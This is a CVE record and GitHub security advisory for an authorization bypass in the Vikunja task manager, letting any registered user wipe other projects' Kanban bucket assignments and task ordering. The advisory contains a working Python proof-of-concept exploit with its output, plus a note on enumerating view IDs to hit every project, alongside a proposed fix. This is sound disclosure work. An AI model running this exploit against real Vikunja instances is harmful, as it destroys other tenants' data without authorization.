{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.24.6, \u003c 2.4.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0."
    }
  ],
  "id": "CVE-2026-55065",
  "lastModified": "2026-08-28T20:18:23.757",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-28T20:18:23.757",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/pull/3239"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        },
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.24.6"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:50:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA user with only a single self-owned project can permanently destroy the Kanban bucket assignments (`task_buckets`) and task ordering (`task_positions`) of **any other project view in the entire instance**. The `ProjectView.Delete` model method runs three SQL statements: the first is properly scoped to `(view_id, project_id)`, but the next two cascading deletes on `task_buckets` and `task_positions` filter only on the URL-supplied `project_view_id`. The permission check (`CanDelete`) gates on Admin of the URL `:project` but never confirms that the URL `:view` actually belongs to that project.\n\n### Details\n\n`ProjectView.Delete` (file: `pkg/models/project_view.go`, line 250) cascades on the bare `pv.ID` for the second and third deletes, ignoring `pv.ProjectID`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).   // (a) scoped \u2014 OK\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{})    // (b) UNSCOPED\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})  // (c) UNSCOPED\n    return\n}\n```\n\n`pv.ID` and `pv.ProjectID` come straight from the URL path via `c.Bind` \u2014 see the param tags on the struct (`pkg/models/project_view.go`, lines 133\u2013137):\n\n```go\ntype ProjectView struct {\n    ID        int64 `xorm:\"autoincr not null unique pk\" json:\"id\" param:\"view\"`\n    ...\n    ProjectID int64 `xorm:\"not null index\" json:\"project_id\" param:\"project\"`\n    ...\n}\n```\n\nThe route is registered with both params in `pkg/routes/routes.go`, line 791:\n\n```go\na.DELETE(\"/projects/:project/views/:view\", projectViewProvider.DeleteWeb)\n```\n\n`CanDelete` (file: `pkg/models/project_view_permissions.go`, line 38) gates only on Admin of the URL `:project`:\n\n```go\nfunc (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n    if isInstanceAdmin(s, a) {\n        return true, nil\n    }\n    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)\n    if filterID \u003e 0 { ... }\n\n    pp := pv.getProject()              // = \u0026Project{ID: pv.ProjectID}  (URL path)\n    return pp.IsAdmin(s, a)            // only checks admin on URL :project\n}\n```\n\nThere is **no check** that the view (`pv.ID`) actually belongs to that project. The first SQL inside `Delete` (the `WHERE id = ? AND project_id = ?` clause) compensates *for the `project_views` table only*. xorm silently returns 0 affected rows on a mismatch \u2014 no error \u2014 and the function continues. The next two statements then run unconditionally on `pv.ID` alone.\n\nWhy other neighbouring code paths are not vulnerable, for context:\n\n- `Bucket.canDoBucket` (`pkg/models/kanban_permissions.go`, line 46) loads the bucket from the DB and re-couples the URL project via `GetProjectViewByIDAndProject(viewID, projectID)`, which `WHERE id = ? AND project_id = ?` \u2014 mismatched URL `:project` returns an error. Safe.\n- `ProjectView.Update` (`pkg/models/project_view.go`, line 412) calls the same `GetProjectViewByIDAndProject` *before* applying the update. Safe.\n- `Project.UpdateProject` cascades use `s.In(\"project_view_id\", viewIDs).Delete(\u0026Bucket{})` (`pkg/models/project.go`, line 1396) where `viewIDs` is loaded from the DB inside an authorised project-delete context. Safe.\n\nThe same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.\n\n### PoC\n\n#### Prerequisites\n\n- An authenticated account on the target Vikunja instance. **No special role is required** \u2014 local-auth registration is enough; the attacker becomes Admin of any project they create via the `OwnerID` field set in `CreateProject` (`pkg/models/project.go`, line 1021).\n- Knowledge of any victim view ID. View IDs are auto-increment integers (`autoincr` on the `id` column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via `GET /api/v1/projects/:project/views`.\n\n#### Attack Steps\n\n```\n# As the attacker, with valid JWT:\nPUT /api/v1/projects                     -\u003e create throwaway project (ID = P_A)\nDELETE /api/v1/projects/P_A/views/V      -\u003e V is ANY view ID in the instance\n```\n\nThe server returns **HTTP 200** `{\"message\":\"Successfully deleted.\"}` even when `V` is not in `P_A`. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe `task_buckets` and `task_positions` for view `V`.\n\nThe view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete\nTarget: Vikunja\nSeverity: HIGH - CVSS 8.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:3456\n\"\"\"\n\nimport requests\nimport sys\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:3456\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v1\"\n\nVICTIM_USER = \"victim_poc\"\nVICTIM_PASS = \"VictimPocPassword!2025\"\nATTACKER_USER = \"attacker_poc\"\nATTACKER_PASS = \"AttackerPocPassword!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helpers ----\n\ndef register(username, password):\n    requests.post(f\"{API}/register\", json={\n        \"username\": username,\n        \"email\":    f\"{username}@poc.local\",\n        \"password\": password,\n    })  # ignore 400 if user already exists\n\ndef login(username, password):\n    r = requests.post(f\"{API}/login\", json={\n        \"username\": username, \"password\": password,\n    })\n    r.raise_for_status()\n    return r.json()[\"token\"]\n\ndef auth(token):\n    return {\"Authorization\": f\"Bearer {token}\",\n            \"Content-Type\":  \"application/json\"}\n\n\n# ---- Victim setup: project + kanban view + tasks + bucket assignments ----\n\nprint(\"[*] Setting up VICTIM (target)\")\nregister(VICTIM_USER, VICTIM_PASS)\nvt = login(VICTIM_USER, VICTIM_PASS)\n\n# Create a project (kanban view + default buckets are created automatically).\nproj = requests.put(f\"{API}/projects\",\n                    headers=auth(vt),\n                    json={\"title\": \"Victim Project\"}).json()\nvictim_pid = proj[\"id\"]\n\n# Find the auto-created kanban view.\nviews = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                     headers=auth(vt)).json()\nkanban_view = next(v for v in views if v[\"view_kind\"] == \"kanban\")\nvictim_vid  = kanban_view[\"id\"]\n\n# Drop a few tasks into the project \u2014 Vikunja will auto-place them in the\n# default bucket of the kanban view, populating `task_buckets`.\ntask_ids = []\nfor i in range(3):\n    t = requests.put(f\"{API}/projects/{victim_pid}/tasks\",\n                     headers=auth(vt),\n                     json={\"title\": f\"Victim task {i}\"}).json()\n    task_ids.append(t[\"id\"])\n\n# Touching the view via the bucket endpoint forces task_position rows to\n# materialise. Read the buckets-with-tasks endpoint once.\nrequests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n)\n\n# Confirm the kanban state has populated buckets+tasks.\nbuckets = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_before = sum(len(b.get(\"tasks\") or []) for b in buckets)\nprint(f\"[*] Victim project={victim_pid}, view={victim_vid}, \"\n      f\"tasks_in_buckets BEFORE = {total_tasks_before}\")\nassert total_tasks_before \u003e 0, \"PoC requires at least 1 task in the kanban\"\n\n\n# ---- Attacker setup: a throwaway project owned by the attacker ----\n\nprint(\"\\n[*] Setting up ATTACKER (any user can do this)\")\nregister(ATTACKER_USER, ATTACKER_PASS)\nat = login(ATTACKER_USER, ATTACKER_PASS)\n\np_a = requests.put(f\"{API}/projects\",\n                   headers=auth(at),\n                   json={\"title\": \"Attacker Throwaway\"}).json()\nattacker_pid = p_a[\"id\"]\nprint(f\"[*] Attacker project = {attacker_pid} \"\n      f\"(attacker is Admin via OwnerID)\")\n\n\n# ---- ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\")\nprint(f\"{\u0027=\u0027*65}\")\n\nresp = requests.delete(\n    f\"{API}/projects/{attacker_pid}/views/{victim_vid}\",\n    headers=auth(at),\n)\nprint(f\"\\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}\")\nprint(f\"  (Logged in as: {ATTACKER_USER}, \"\n      f\"who is NOT a member of victim project {victim_pid})\")\nprint(f\"  Response: HTTP {resp.status_code}  body={resp.text!r}\")\n\n\n# ---- VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\n# View must still exist (the scoped first delete didn\u0027t match).\nviews_after = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                           headers=auth(vt)).json()\nview_still_there = any(v[\"id\"] == victim_vid for v in views_after)\n\n# But the buckets-with-tasks should now be empty (task_buckets wiped).\nbuckets_after = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_after = sum(len(b.get(\"tasks\") or []) for b in buckets_after)\n\nprint(f\"\\n  View {victim_vid} still exists?           {view_still_there}\")\nprint(f\"  Tasks in buckets BEFORE attack:           {total_tasks_before}\")\nprint(f\"  Tasks in buckets AFTER attack:            {total_tasks_after}\")\n\nif view_still_there and total_tasks_after == 0 and total_tasks_before \u003e 0:\n    print(\"\"\"\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user\u0027s kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Attack did not land \u2014 patched build or unexpected state.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[*] Setting up VICTIM (target)\n[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3\n\n[*] Setting up ATTACKER (any user can do this)\n[*] Attacker project = 43 (attacker is Admin via OwnerID)\n\n=================================================================\n  ATTACK: trainer-equivalent \u2014 wipe victim\u0027s kanban via own project\n=================================================================\n\n  DELETE /api/v1/projects/43/views/87\n  (Logged in as: attacker_poc, who is NOT a member of victim project 42)\n  Response: HTTP 200  body=\u0027{\"message\":\"Successfully deleted.\"}\u0027\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  View 87 still exists?           True\n  Tasks in buckets BEFORE attack:           3\n  Tasks in buckets AFTER attack:            0\n\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user\u0027s kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n```\n\n### Impact\n\n1. **Cross-tenant data destruction.** Any authenticated user \u2014 local-auth registration is enough on default deployments \u2014 can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.\n\n2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.\n\n3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/\u003cown-project\u003e/views/\u003ci\u003e` for each. Each request is a 200 OK regardless of whether the view existed in the attacker\u0027s project \u2014 so the attacker can\u0027t even tell which IDs were \"real\" without watching for victim complaints.\n\n4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.\n\n### Fix\n\nEither gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.\n\nMinimal patch \u2014 `pkg/models/project_view.go`, inside `Delete()`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    affected, err := s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n    if affected == 0 {\n        // Either the view doesn\u0027t exist, or it doesn\u0027t belong to pv.ProjectID.\n        // Either way, do not cascade \u2014 return an error so the API responds 404.\n        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}\n    }\n\n    if _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}); err != nil {\n        return\n    }\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})\n    return\n}\n```\n\nThis makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, `CanDelete` should also load the view and verify `view.ProjectID == pv.ProjectID` before granting permission, so the 404 path in `Delete` becomes a backstop rather than the only line of defence \u2014 mirroring the pattern used by `Bucket.canDoBucket` and `ProjectView.Update` elsewhere in the same file.",
  "id": "GHSA-gg93-x632-9ccv",
  "modified": "2026-08-28T16:50:34Z",
  "published": "2026-08-28T16:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key"
}